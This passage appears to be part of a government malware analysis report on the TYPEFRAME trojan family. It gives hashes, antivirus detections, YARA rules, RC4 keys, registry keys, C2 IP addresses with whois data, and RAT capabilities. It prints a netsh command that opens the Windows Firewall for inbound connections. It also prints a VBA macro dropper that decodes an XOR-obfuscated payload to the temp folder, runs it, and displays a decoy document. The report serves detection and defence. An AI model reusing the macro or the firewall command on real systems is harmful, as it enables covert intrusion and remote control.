475136 6.629464 b6fa7b267ea19010d44f056ec3cca39d .rdata 147456 5.920344 1076ec3948d21da8d6c5036548880c63 .data 77824 
4.972282 77c814f5856057e7a7f6237bbba51a76 .rsrc 32768 7.100017 3184d0afb653bf0723cadccc14d92071 .reloc 40960 5.752155 

Packers/Compilers/Cryptors

Microsoft Visual C++ 6.0 Microsoft Visual C++ 6.0 DLL (Debug) 

Relationships

40ef57ca2a... Contained_Within d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92 

Description

1printcache.tlb (original name: PDll.dll) is a proxy module installed as a service by the file 
d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92. This file is designed to open the Windows Firewall on 
the victims machine to allow incoming connections and force the compromised system to function as a proxy server.

The malwares APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
75 0E 83 C0 02 83 C1 02 84 D2 75 E4 33 C0 EB 05
--End Rc4 key--

When executed, it loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains hexadecimal encoded port numbers:

--Begin port # list --
BB 01 ==> 1BB ==>443
7F 00 ==> 7F ==> 127
FB 20 ==> 20FB ==> 8443
--End port # list --

The malware utilized the following command to open the Windows Firewall on the victims machine to allow incoming 
connections.

--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=443 action=allow enable=yes"
--End firewall modification--

The malware attempts to open ports 443, 127, and 8443 and wait for connection. The malware contains public SSL 
certificates in its resource name "101. It is designed to generate crafted TLS sessions (fake TLS communication 
mechanism).

546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1

Tags

droppertrojan

Details

Name 6AB301FC3296E1CEB140BF5D294894C5 Size 259584 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 
6ab301fc3296e1ceb140bf5d294894c5 SHA1 8d62498656db928f987b47bdbcfab5d6032be48a SHA256 
546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1 SHA512 
3abd7a690d821ace78d8f5e2394f0922308963c7ba8ee63661e9cdb2e36fe8353904346b4b0457c6ace3071505533187d62a41d47473a6a9680cab7fca209ceb
 ssdeep 3072:JdHh7xVwMPRTxXX0bqkmvA7XKmJLiSi3Ix1DKXrlTNEsuFFCeojbmUkGVcNP+:17xVrxxn0PrWiv8hLnS+ Entropy 5.918488 

Antivirus

AVG Agent6.BHRZ.dropper Ahnlab Trojan/Win32.Agent ESET a variant of Win32/NukeSped.AK trojan Microsoft Security 
Essentials Trojan:Win32/Autophyte.B!dha 

Yara Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date 2017-05-08 11:43:26-04:00 Import Hash b32c7db2b70ae7b183886924d873c585 

PE Sections

MD5 Name Raw Size Entropy 24baa03194bc78f0184ea606128bc80f header 1024 2.821047 170ce86f9a7ffcd242f3903fafe1f302 .text 
57856 6.433615 33b066692952c4534ebf0a56ca293085 .rdata 37888 5.095210 b4eed5366c4254a3c7f6c2f021c29efe .data 156160 
4.916035 3ad7431aaa87a1e6b6400ca9b273d98a .pdata 4096 4.579212 c23d2715b42b072fcf86b2aa58807b56 .rsrc 512 4.714485 
ad711ec082866631d620286bb36fdb72 .reloc 2048 4.752156 

Relationships

546dbd370a... Contains 3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 

Description

This file is a malicious 64-bit Windows dynamic-link library (DLL) that is designed to drop and execute an embedded 
file. The malware decodes the embedded file by XORing it with the value "0x35".

During analysis, the malware executed the file as C:\Windows\Temp\java.exe 
(3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210). The dropped file has been identified as a RAT.

3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210

Tags

backdoorremote-access-trojantrojan

Details

Name java.exe Size 118784 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 
77b50bb476a85a7aa30c962a389838aa SHA1 df466a1f473c7c5eba5f22d90822fd1430b6a244 SHA256 
3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 SHA512 
33b78e0bc8832958b79292bfebffe32c03b59b92044bb95331ee384f7061f6724c7d10bcf17ee1395dbd437b225c0813ba4bc5de6ef44f4bdd9ee58e446ad143
 ssdeep 3072:sPhrkoI8QYJRMs4y5pe+/a5sN5t4+PXP:Mi/lqpe+/0sa Entropy 5.880053 

Antivirus

AVG Agent6.BHRZ Ahnlab Backdoor/Win32.Agent Avira TR/Agent.bkecf BitDefender Trojan.GenericKD.30623185 Cyren 
W32/Trojan.YPCX-1821 ESET a variant of Win32/NukeSped.AK trojan Emsisoft Trojan.GenericKD.30623185 (B) F-secure 
Trojan.GenericKD.30623185 Ikarus Trojan.Win32.NukeSped K7 Trojan ( 004fa2411 ) McAfee Trojan-FNWY!77B50BB476A8 
Microsoft Security Essentials Trojan:Win32/Autophyte.B!dha NANOAV Trojan.Win32.NukeSped.fajisv Quick Heal Trojan.Cossta 
Symantec Trojan.Gen.MBT TrendMicro TROJ_NUKESPED.A TrendMicro House Call TROJ_NUKESPED.A VirusBlokAda Trojan.Cossta 
Zillya! Trojan.Cossta.Win32.10325 

Yara Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date 2017-04-28 03:28:32-04:00 Import Hash 85c89bf0449505044219f0be26213402 Company Name Microsoft Corporation 
File Description ProQuota Internal Name proquota Legal Copyright Microsoft Corporation. All rights reserved. Original 
Filename proquota.exe.mui Product Name Microsoft Windows Operating System Product Version 6.1.7600.16385 

PE Sections

MD5 Name Raw Size Entropy 81c12eb5fc3cbdd06675cd1097363a40 header 4096 0.689960 2539474aa6202371abd37a4d66031955 .text 
86016 6.641666 b97c14b801643b3a61ea28266f3f71b1 .rdata 8192 4.735406 48eb8a67d4fd42ea24da9dc9029cb101 .data 16384 
1.857068 c139ac9cb34e0620a10c15e5d42b85d2 .rsrc 4096 1.174962 

Packers/Compilers/Cryptors

Microsoft Visual C++ v6.0 

Relationships

3c809a1010... Contained_Within 546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1 3c809a1010... 
Connected_To 184.107.209.2 3c809a1010... Connected_To 111.207.78.204 3c809a1010... Connected_To 80.91.118.45 
3c809a1010... Connected_To 181.119.19.56 

Description

This file is a 32-bit Windows executable designed to connect to its remote server and wait for instructions. The 
malwares APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B
--End Rc4 key--

This file is a RAT and contains the following embedded hexadecimal encoded C2 IP addresses and port numbers:

--Begin IP and port # list--
1BBh ==> 443
2D765B50h ==> 80.91.118.45
381377B5h ===> 181.119.19.56
0CC4ECF6Fh ==> 111.207.78.204
2D16BB8h ==> 184.107.209.2
--End IP and port # list--

When executed, it attempts to connect to its C2 IPs using port 443 and waits for instructions. The malware is designed 
to accept instructions from the remote server to perform additional functions:

--Begin functions perform by the malware--
Search for files
Execute process
Terminate processes
Delete files
Execute command-using shell
Download and upload files
Read files and write files
--End functions perform by the malware--

The malware is designed to use the same RC4 key to encrypt its configuration file data, which contains the hexadecimal 
encoded C2 IP address and port number. The encrypted configuration data is stored into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd

Tags

downloaderdroppertrojan

Details

Name 3229A6CEA658B1B3CA5CA9AD7B40D8D4 Size 712192 bytes Type Composite Document File V2 Document, Little Endian, Os: 
Windows, Version 6.2, Code page: 949, Author: ISkyISea, Template: Normal, Last Saved By: ISkyISea, Revision Number: 2, 
Name of Creating Application: Microsoft Office Word, Total Editing Time: 17:00, Create Time/Date: Mon Apr 3 18:36:00 
2017, Last Saved Time/Date: Thu Apr 6 00:34:00 2017, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, 
Security: 0 MD5 3229a6cea658b1b3ca5ca9ad7b40d8d4 SHA1 70730e608e2fcc68ce468ed148e965c5bacfb51c SHA256 
4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd SHA512 
ff385a9446415412950562cca832eab1d17de56932f3633a86202dea829e8bd25e56864306f2e6c8bb7ff7d2cfe2785acc4261410e38348946baf72d4a0696de
 ssdeep 12288:sh+81FiNloAzjMXJ1NPeZ3eMNZtF7fHRRAug0EX7:W1FiNWEYxeV3NfHDe Entropy 5.446016 

Antivirus

BitDefender VB:Trojan.Valyria.401 ESET VBA/TrojanDropper.Agent.YE trojan Emsisoft VB:Trojan.Valyria.401 (B) F-secure 
VB:Trojan.Valyria.401 McAfee W97M/Dropper.dj Microsoft Security Essentials TrojanDropper:O97M/SilverMob.A!dha NANOAV 
Trojan.Ole2.Vbs-heuristic.druvzi Quick Heal W97M.Downloader.BJS Sophos Troj/DocDl-KOR nProtect 
Suspicious/W97M.Obfus.Gen 

Yara Rules

No matches found.

ssdeep Matches

No matches found.

Description

This is a malicious Microsoft Word document, and contains Visual Basic for Application (VBA) macros. When the Word 
document is opened, the user is prompted to enable the use of macros by the Microsoft Word process. If the user enables 
macro execution, the embedded malicious macro will be executed and proceed to decode a PE binary and execute it from 
"%TEMP%\leo.exe. A code snippet used to decode the malicious binary is displayed below:

--Begin code snippet--

On Error GoTo gaqz

liveOn = "mfp/fyf"

liveOff = Environ("temp") + "\"
For qnx = 1 To Len(liveOn)
 liveOff = liveOff + Chr(Asc(Mid$(liveOn, qnx, 1)) - 1)
Next

Dim str(238) As String

str(1) = "Encoded hex data"
str(2) = "Encoded hex data"
str(3) = "Encoded hex data"
str(4) = "Encoded hex data"
str(5) = "Encoded hex data"
.......
.......
str(238) = "Encoded hex data"

Dim offBin(499) As Byte
str(1) = "Encoded hex data"
str(2) = "Encoded hex data"
str(3) = "Encoded hex data"
......
......
str(499) = "Encoded hex data"

Open liveOff For Binary Access Write As #1

lpdq = 1

For jnx = 0 To 237
 For inx = 0 To 499
  offBin(inx) = Val("&H" + Mid(str(jnx + 1), inx * 2 + 1, 2))
  offBin(inx) = offBin(inx) Xor 231
 Next inx

 Put #1, lpdq, offBin
 lpdq = lpdq + 500
Next jnx

Close #1

jfsukew liveOff

liveOn = "tfdvsjuzxbsojoh`mndjsu`514/epd"

liveOffd = Environ("temp") + "\"
For qnx = 1 To Len(liveOn)
 liveOffd = liveOffd + Chr(Asc(Mid$(liveOn, qnx, 1)) - 1)
Next qnx

Dim strd(167) As String
strd(167) = ""

Dim offBind(499) As Byte

Open liveOffd For Binary Access Write As #2

lpdq = 1

For jnx = 0 To 166
 For inx = 0 To 499
  offBind(inx) = Val("&H" + Mid(strd(jnx + 1), inx * 2 + 1, 2))
  offBind(inx) = offBind(inx) Xor 231
 Next inx

 Put #2, lpdq, offBind
 lpdq = lpdq + 500
Next jnx

Close #2

SetAttr liveOffd, 6

bazs = ThisDocument.Name

Application.Documents.Open (liveOffd)
Application.ActiveDocument.ActiveWindow.Caption = bazs
ThisDocument.Close

gaqz:
End Sub

Function Jdhcuad(Input_Str$) As String
Dim Len_Str%, Result$, Temp_Str$, n%

Len_Str = Len(Input_Str)
For n = 1 To Len_Str
 Temp_Str = Mid(Input_Str, n, 1)
 Temp_Str = Chr(46 + (Asc(Temp_Str) - 46 - 20 + (122 - 46)) Mod (122 - 46))
 Result = Result + Temp_Str
Next

Jdhcuad = Result
End Function

Private Sub jfsukew(filename)
Dim obj As Object
Set obj = CreateObject(Jdhcuad("kgw:18<Bg0y44"))
obj.Run filename, 1, False
Set obj = Nothing
End Sub
--End code snippet--

c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777

Tags

remote-access-trojantrojan

Details

Name BFB41BC0C3856AA0A81A5256B7B8DA51 Size 578174 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 
bfb41bc0c3856aa0a81a5256b7b8da51 SHA1 cb96e29332fe94d1a70309837f73daf7bec81284 SHA256 
c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777 SHA512 
37223163a329ffa7b77a9190aab1da5fbf38c6d76139591d592d695e5caa81b56f6d3769540e2781c87a29de3d39e5e9c8ee70bd9ed6a0bee040917f530bc11a
 ssdeep 12288:jxn1kOPTkEjkHsnCrYHM46QyFgHj+u1XC1GbA/UXAfAGZI3PWM+:jxn1kOLkEQHsYYDdD+u1HbA/Uw47/L+ Entropy 7.848313 

Antivirus

Ahnlab Trojan/Win32.Akdoor 

Yara Rules

hidden_cobra_consolidated.yara rule enc_PK_header { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date 
= "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4" strings: $s0 = 
{ 5f a8 80 c5 a0 87 c7 f0 9e e6 } $s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a } $s2 = { ae 1d af 74 c0 f5 e1 02 50 10 } 
condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them } hidden_cobra_consolidated.yara 
rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category 
= "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 
EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = {B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 
D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } 

ssdeep Matches

No matches found.

PE Metadata

Compile Date 2017-06-05 21:21:48-04:00 Import Hash c1bcec5e2d5d967daefaff0a252273a6 

PE Sections

MD5 Name Raw Size Entropy 55b6d1ed6d76c7d17cc270bc1843d2cb header 1024 2.558659 6e501513865a783fa945269010ac3785 .text 
69632 6.390707 45584c7afdc086b651d7299673643506 .rdata 24064 4.704433 4a8e757aef91c54de52d5b81098e0cc7 .data 7680 
4.003255 de3fe99833797faa77379640174d16c4 .pdata 4096 4.786623 0cc425d0556c63acb7c04b9b1a211d5b .rsrc 512 5.105006 
914f25782a74f42e42d7974b13bd01c8 .reloc 1536 2.869845 

Packers/Compilers/Cryptors

Microsoft Visual C++ 8.0 (DLL) 

Relationships

c9e3b83d77... Contains e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef 

Description

This file is a 64-bit Windows executable version of the file 
8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 and is designed to install a RAT as a service on the 
victims system. This file accepts the following arguments during execution "68S3mI2AMcmOz3BgjnuYpLlZ4fZog7sd".

The RATs APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

Decrypted strings of interest are displayed below:

--Begin strings of interest--
host.dll
"Task Notification Service"
"Monitors And Notifies Task Scheduling And Interaction"
netsvcs
--End strings of interest--

When executed, the RAT loads an embedded RC4 encrypted archive file from the start of the offset "0x1A800" of the file.

The malware decrypts the archive using the same Rc4 key. The decrypted archive contains a malicious DLL module, which 
is decompressed and installed into "C:\Windows\system32\dwnhost.dll. The first three characters of the module name are 
randomly generated.

The malware contains RC4 encrypted configuration file data (192 bytes). During runtime, it installs the encrypted 
configuration data into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\dwnhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The malware installs a malicious DLL module as a serviceDLL in the "netsvcs" service group in order to execute 
"C:\Windows\system32\dwnhost.dll" by Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe. The service 
name and the display name are randomly generated.

The installed service information is displayed below:

--Begin service--
ServiceName = "NWCWorkstation"
DisplayName = "NWCWorkstation"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k netsvcs"
--End service--

e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef

Tags

remote-access-trojantrojan

Details

Name dwnhost.dll Size 1030144 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 
9722bc9e0efb4214116066d1ff14094c SHA1 41a938499048a6ad8034d09e2fbb893da8f13ca9 SHA256 
e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef SHA512 
8470c240868441093314ebe263028ceef61d900b41aaeed77fd934edf81b9a75f6c96d0fccc0ac87364c8e23e0b8eb19ec8bcd47daf1d50c1182be999475fc4c
 ssdeep 12288:nqU713B5hV7rJIBBAVbyjRbjSbdSYJ3raxt7o6qRBpDwQmnQ2bqPjD+PmCNVGsPf:nRxJIB7hSZSG37jo/GsPepCdOwy Entropy 
6.424883 

Antivirus

No matches found.

Yara Rules

hidden_cobra_consolidated.yara rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = 
"10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = 
"bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = 
{B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and 
uint16(uint32(0x3c)) == 0x4550) and all of them } 

ssdeep Matches

No matches found.

Relationships

e088c3a0b0... Contained_Within c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777 

Description

dwnhost.dll (original name: DLL64.dll) is a 64-bit Windows dynamic-link library (DLL) of "laxhost.dll" 
(a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6). This RAT module was installed as a service by the 
file "c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777.

The RATs APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

When executed, the RAT loads and decrypts the encrypted configuration file data from the registry using the same RC4 
key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\dwnxhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains a hexadecimal encoded command and control IP address and port number:

--Begin IP and port # list--
BB 01 3B 5A 5D 61 ==> 59.90.93.97:443
--End IP and port # list--

The malware attempts to connect to its remote server IP 59.90.93.97 using port 443 and waits for instructions.

The malware is designed to accept instructions from the remote server to perform the following functions:

--Begin functions perform by the malware--
Get Disk Free Space
Search for files
Execute process in elevated mode
Terminate processes
Delete files
Execute command-using shell
Download and upload files
Read files and write files
Delete Service and uninstall malware components using a batch script
--End functions perform by the malware--

20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64

Tags

remote-access-trojantrojan

Details

Name EF9DB20AB0EEBF0B7C55AF4EC0B7BCED Size 152064 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 
ef9db20ab0eebf0b7c55af4ec0b7bced SHA1 0202942d11c994cece943bb873f3af156d820f59 SHA256 
20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64 SHA512 
85fa80079c59da83e3b2471eab0d2981c92b6c589cbe5052bf438831ae464e6499040ead68d6bc9929edd9f6c08ecc6abf2a0173e31bd361a24fad89ff1f7064
 ssdeep 3072:qocqUTuIzXblpGxqSDBiiBmLEEjdTIf3TIb9Qw/uAZyerrPabYlQ:qJqUnXKxqSAiBJyTC3TIb9QRL0lQ Entropy 6.269643 

Antivirus

ESET a variant of Win64/NukeSped.L trojan Microsoft Security Essentials Trojan:Win32/Autophyte.A!dha 

Yara Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date 2016-09-07 14:28:45-04:00 Import Hash 13c53cfa11bb74ea99fefdf29d78a9f9 

PE Sections

MD5 Name Raw Size Entropy 2082ea5adc4b910e8673c04dc7d962d2 header 1024 2.623906 e6e5ce270a5e80221a815dbf739883a2 .text 
111616 6.434048 3a7628ebb18c5e07cf37654fd431de6b .rdata 26112 5.315772 52e12517ca5b2c29e9496bc3032f0d5d .data 5632 
2.052338 f9b37a6c76a99538605929f5bef6c2e2 .pdata 5632 5.165417 d5ecc406ee2be45ed510958b0d4f326a .rsrc 512 5.112624 
07b2edf2675fa88a86c977fec3ad03cd .reloc 1536 2.826598 

Packers/Compilers/Cryptors

Microsoft Visual C++ 8.0 (DLL) 

Relationships

20abb95114... Connected_To 98.101.211.162 20abb95114... Connected_To 81.0.213.173 

Description

This file is a 64-bit Windows executable designed to connect to its remote server and wait for instructions. The 
malwares file APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B
--End RC4 key--

This file is a variant of a RAT that contains the following embedded hexadecimal-encoded C2 IP address and port number:

--Begin IP and port # list--
1BBh ==> 443
0A2D36562h ==> 98.101.211.162
0ADD50051h ==> 81.0.213.173
--End IP and port # list--

When executed, it attempts to connect to its C2 IPs using port 443 and waits for instructions. The malware is designed 
to accept instructions from the remote server to perform additional functions.

201c7cd10a2bd50dde0948d14c3c7a0732955c908a3392aee3d08b94470c9d33

Tags

proxytrojan

Details

Name 1C53E7269FE9D84C6DF0A25BA59B822C Size 126976 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows 
MD5 1c53e7269fe9d84c6df0a25ba59b822c SHA1 b775d753671133cbc4919764d2fac0d298166b07 SHA256 
201c7cd10a2bd50dde0948d14c3c7a0732955c908a3392aee3d08b94470c9d33 SHA512 
3d3883b9b29e264d023b7034d980b7c206c9fc82010bf7f5f1dc454fdbd316830fe69e90579406a74afc1fca8e266d10c1b46784bd661dcb2815e370a68acd32
 ssdeep 1536:EaMa/KVyD4hv6LLETuA1x+sh2iE1s44tz4qoWYUwnZ7hUOC2:G8YPZ6LLqQFX4tz4quxY Entropy 6.024087 

Antivirus

Ahnlab Win-Trojan/Hwdoor.Gen BitDefender Gen:Trojan.Heur.LP.hu4@amSEbedG ESET a variant of Win32/NukeSped.AK trojan 
Emsisoft Gen:Trojan.Heur.LP.hu4@amSEbedG (B) F-secure Gen:Trojan.Heur.LP.hu4@amSEbedG Microsoft Security Essentials 
Trojan:Win32/Autophyte.B!dha Symantec Heur.AdvML.C 

Yara Rules

hidden_cobra_consolidated.yara rule import_deob { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = 
"2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" md5 = "ae769e62fef4a1709c12c9046301aa5d" md5 = 
"e48fe20eblf5a5887f2ac631fed9ed63" strings: $ = { 8a 01 3c 62 7c 0a 3c 79 7f 06 b2 db 2a d0 88 11 8a 41 01 41 84 c0 75 
e8} $ = { 8A 08 80 F9 62 7C 0B 80 F9 79 7F 06 82 DB 2A D1 88 10 8A 48 01 40 84 C9 75 E6} condition: (uint16(0) == 
0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them } 

ssdeep Matches

No matches found.

PE Metadata

Compile Date 2015-07-08 22:50:54-04:00 Import Hash 21ccd1b1341683d8831663fc3ed8f86d 

PE Sections

MD5 Name Raw Size Entropy f066de8df54d4f92795472d981374309 header 4096 0.736742 f066de8df54d4f92795472d981374309 header 
4096 0.736742 e321dba33ae4db3b9e29aa6072b92e77 .text 57344 6.464385 e321dba33ae4db3b9e29aa6072b92e77 .text 57344 
6.464385 a256d5f52608331df8545a9d38751462 .rdata 8192 3.628560 a256d5f52608331df8545a9d38751462 .rdata 8192 3.628560 
1d905ad87919346eb6c8463f61b599e8 .data 16384 1.547483 1d905ad87919346eb6c8463f61b599e8 .data 16384 1.547483 
afdf2120655e37010482a536d552199e .rsrc 32768 7.100033 afdf2120655e37010482a536d552199e .rsrc 32768 7.100033 
bbeec3983cc5b2094f8311718d327480 .reloc 8192 3.234713 bbeec3983cc5b2094f8311718d327480 .reloc 8192 3.234713 

Packers/Compilers/Cryptors

Microsoft Visual C++ 6.0 Microsoft Visual C++ 6.0 DLL (Debug) 

Description

This file (original name: Proxy_SVC_DLL.dll) is a proxy module installed as a service. The proxy installer that 
installs this module was not available for analysis.

This file is designed to open the Windows Firewall on the victims machine to allow incoming connections and force the 
compromised system to function as a proxy server. The malwares APIs and strings (registry key, file names, and service 
name) are RC4 encrypted using the following key:

--Begin Rc4 key--
DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B
--End Rc4 key--

When executed, the proxy installer will attempt to load and decrypt the encrypted configuration file data from the 
registry using the RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

Analysis indicates that the decrypted configuration data contains port numbers. The malware utilized the following 
command to open the Windows Firewall on the victims machine to allow incoming connections:

--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=<decrypted port number> 
action=allow enable=yes"
--End firewall modification--

The malware attempts to open the predefined port and waits for connection. The malware contains public SSL certificates 
in its resource name "101. It is designed to generate crafted TLS sessions (fake TLS communication mechanism).

98.101.211.162

Ports

  * 443 TCP 

Whois

NetRange:  98.100.0.0 - 98.103.255.255
CIDR:   98.100.0.0/14
NetName:  RCMS
NetHandle:  NET-98-100-0-0-1
Parent:   NET98 (NET-98-0-0-0-0)
NetType:  Direct Allocation
OriginAS: 
Organization: Time Warner Cable Internet LLC (RCMS)
RegDate:  2008-03-17
Updated:  2009-05-05
Ref:   https://whois.arin.net/rest/net/NET-98-100-0-0-1

OrgName:  Time Warner Cable Internet LLC
OrgId:   RCMS
Address:  6399 S Fiddlers Green Circle
City:   Greenwood Village
StateProv:  CO
PostalCode:  80111
Country:  US
RegDate:  2001-09-25
Updated:  2018-03-07
Comment:  Allocations for this OrgID serve Road Runner commercial customers out of the Columbus, OH, Herndon, VA and 
Raleigh, NC RDCs.
Ref:   https://whois.arin.net/rest/org/RCMS

Relationships

98.101.211.162 Connected_From 20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64 

81.0.213.173

Ports

  * 443 TCP 

Whois

inetnum:  81.0.213.168 - 81.0.213.175
netname:  CmsConsulting-CZ
descr:   CMS Consulting s.r.o.
country:  CZ
admin-c:  CASA3-RIPE
tech-c:   CASA3-RIPE
status:   ASSIGNED PA
mnt-by:   CASABLANCA-RIPE-MNT
created:  2009-10-09T07:31:35Z
last-modified: 2009-10-09T07:31:35Z
source:   RIPE

role:   Casablanca INT RIPE manager
address:  Casablanca INT
address:  Vinohradska 184, Prague 3 - 130 52
address:  Czech republic
phone:   +420 270 000 270
fax-no:   +420 270 000 277
e-mail:   hostmaster () casablanca cz
abuse-mailbox: abuse () casablanca cz
admin-c:  JH1771-RIPE
tech-c:   JH1771-RIPE
notify:   hostmaster () casablanca cz
nic-hdl:  CASA3-RIPE
created:  2005-09-05T10:42:10Z
last-modified: 2015-07-03T11:19:49Z
source:   RIPE
mnt-by:   CASABLANCA-CORE-MNT

% Information related to '81.0.213.0/24AS15685'

route:   81.0.213.0/24
descr:   Casablanca INT prefix fraction
origin:   AS15685
mnt-by:   CASABLANCA-CORE-MNT
created:  2017-06-30T09:41:16Z
last-modified: 2017-06-30T09:41:16Z
source:   RIPE

Relationships

81.0.213.173 Connected_From 20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64 

184.107.209.2

Ports

  * 443 TCP 

Whois

Domain Name: TVDAIJIWORLD.COM
Registry Domain ID: 632237350_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2017-10-16T06:44:25Z
Creation Date: 2006-10-14T19:18:50Z
Registrar Registration Expiration Date: 2018-10-14T19:18:50Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse () godaddy com
Registrar Abuse Contact Phone: +1.4806242505
Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited
Domain Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Domain Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Registry Registrant ID: Not Available From Registry
Registrant Name: ******** ******** (see Notes section below on how to view unmasked data)
Registrant Organization: Konkandaiz
Registrant Street: Post Box 53608
Registrant Street: Dubai
Registrant City: Dubai
Registrant State/Province: Not Applicable
Registrant Postal Code: 04
Registrant Country: AE
Registrant Phone: ************
Registrant Phone Ext:
Registrant Fax: 111111111111
Registrant Fax Ext:
Registrant Email: ********@*****.***
